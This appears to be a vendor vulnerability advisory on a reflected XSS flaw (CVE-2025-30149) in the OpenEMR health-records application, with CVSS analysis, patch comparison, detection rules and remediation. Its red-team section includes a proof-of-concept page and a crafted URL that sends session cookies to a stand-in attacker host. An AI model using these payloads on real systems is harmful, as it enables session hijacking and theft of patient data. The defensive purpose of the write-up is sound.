CVE-2025-30149
Executive Summary
CVE-2025-30149 is a reflected Cross-Site Scripting (XSS) vulnerability in OpenEMR, a widely used open-source electronic health records (EHR) and medical practice management application. The flaw exists in the AJAX script interface/super/layout_listitems_ajax.php, where the target parameter is not properly sanitized before being reflected back to the user. An attacker can craft a malicious URL that, when clicked by an authenticated user, executes arbitrary JavaScript in the context of the victim's session. This can lead to session hijacking, data theft, or further compromise of the healthcare application. The vulnerability is fixed in version 7.0.3.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct code-level flaw in the OpenEMR PHP application. The risk is primarily to healthcare organizations using unpatched versions of OpenEMR.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network - The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low - No special conditions are required.
- Privileges Required (PR): None - The attacker does not need to be authenticated.
- User Interaction (UI): Required - The victim must click a crafted link.
- Scope (S): Changed - The impact can affect resources beyond the vulnerable component.
- Confidentiality (C): Low - Limited data exposure possible.
- Integrity (I): Low - Limited ability to modify data.
- Availability (A): None - No impact on availability.
Threat Level: Medium. While the CVSS score is moderate, the context of a healthcare application elevates the risk due to the sensitivity of patient data.
Deep Dive & Mechanics
The vulnerability resides in the file interface/super/layout_listitems_ajax.php. This script is used for AJAX-based interactions in the OpenEMR administrative interface. The target parameter is taken from the HTTP request (likely via $_GET or $_POST) and is directly reflected in the response without proper encoding or sanitization.
Root Cause: The application fails to escape or validate the target parameter before outputting it. An attacker can inject arbitrary HTML and JavaScript by providing a payload such as <script>alert('XSS')</script> as the value of target.
Attack Flow:
- An attacker identifies a vulnerable OpenEMR instance.
- The attacker crafts a malicious URL:
https://target-openemr-instance/interface/super/layout_listitems_ajax.php?target=<script>alert('XSS')</script> - The attacker sends this link to an authenticated user (e.g., via phishing email).
- The victim clicks the link while logged into OpenEMR.
- The server reflects the injected script in the response, which the victim's browser executes.
- The script can steal session cookies, perform actions on behalf of the victim, or exfiltrate data.
Vulnerable vs. Patched Code
Vulnerable Code (version < 7.0.3):
// interface/super/layout_listitems_ajax.php
$target = $_GET['target'];
echo "Selected target: " . $target;
Patched Code (version 7.0.3):
// interface/super/layout_listitems_ajax.php
$target = $_GET['target'];
echo "Selected target: " . htmlspecialchars($target, ENT_QUOTES, 'UTF-8');
The fix uses htmlspecialchars() to encode special HTML characters, preventing script injection.
Exploitation & Lab Setup
Red Team (Offensive)
Proof of Concept (PoC):
<!-- Save as poc.html and host on attacker server -->
<!DOCTYPE html>
<html>
<body>
<script>
var xssUrl = "https://target-openemr-instance/interface/super/layout_listitems_ajax.php?target=<script>alert('XSS')</script>";
window.open(xssUrl);
</script>
</body>
</html>
Manual Exploitation:
- Identify the target OpenEMR instance.
- Craft the malicious URL:
https://target-openemr-instance/interface/super/layout_listitems_ajax.php?target=<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Send the link to an authenticated user.
- Set up a listener on the attacker server to capture cookies.
Automated Exploitation (using curl):
curl -v "https://target-openemr-instance/interface/super/layout_listitems_ajax.php?target=<script>alert(1)</script>"
Blue Team (Defensive)
Detection Steps:
- Monitor web server logs for requests to
/interface/super/layout_listitems_ajax.phpwith suspicioustargetparameters. - Look for patterns like
<script,onerror,onload, or base64-encoded payloads in thetargetparameter. - Deploy a Web Application Firewall (WAF) rule to block XSS payloads in the
targetparameter.
Hunting Query (Splunk):
index=web_logs uri="/interface/super/layout_listitems_ajax.php" target=*<script*
| table _time, src_ip, uri, target
Indicators of Compromise (IOCs)
Network IOCs:
- Requests to
/interface/super/layout_listitems_ajax.phpwithtargetparameter containing<script>tags or JavaScript event handlers. - Outbound connections from the OpenEMR server to unknown IPs on common ports (80, 443, 8080) after exploitation.
- Requests to
File IOCs:
- Modified or suspicious files in the OpenEMR installation directory, especially
interface/super/layout_listitems_ajax.php.
- Modified or suspicious files in the OpenEMR installation directory, especially
Behavioral IOCs:
- Unusual session activity, such as multiple logins from different IPs using the same session cookie.
- Unexpected changes to patient records or system configuration.
Detection Engineering
YARA Rule
rule CVE_2025_30149_XSS_OpenEMR {
meta:
description = "Detects reflected XSS attempts against OpenEMR CVE-2025-30149"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-30149"
strings:
$xss_payload = /target=.*<script[^>]*>.*<\/script>/i
$xss_event = /target=.*on\w+\s*=/i
condition:
$xss_payload or $xss_event
}
Sigma Rule
title: Reflected XSS in OpenEMR layout_listitems_ajax.php
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts against CVE-2025-30149
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: '/interface/super/layout_listitems_ajax.php'
cs-uri-query|re: 'target=.*<script[^>]*>.*</script>'
condition: selection
falsepositives:
- Legitimate use of script tags in target parameter (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-30149 OpenEMR Reflected XSS Attempt"; flow:to_server,established; content:"/interface/super/layout_listitems_ajax.php"; http_uri; pcre:"/target=.*<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade OpenEMR to version 7.0.3 or later.
- If immediate upgrade is not possible, apply a virtual patch using a WAF to block XSS payloads in the
targetparameter. - Restrict access to the
/interface/super/directory to trusted IPs only.
Long-Term Measures:
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Conduct regular security audits and code reviews.
- Educate users about phishing attacks targeting OpenEMR.
Workaround (if patching is delayed):
- Edit
interface/super/layout_listitems_ajax.phpand addhtmlspecialchars()around thetargetvariable output.
Valters IT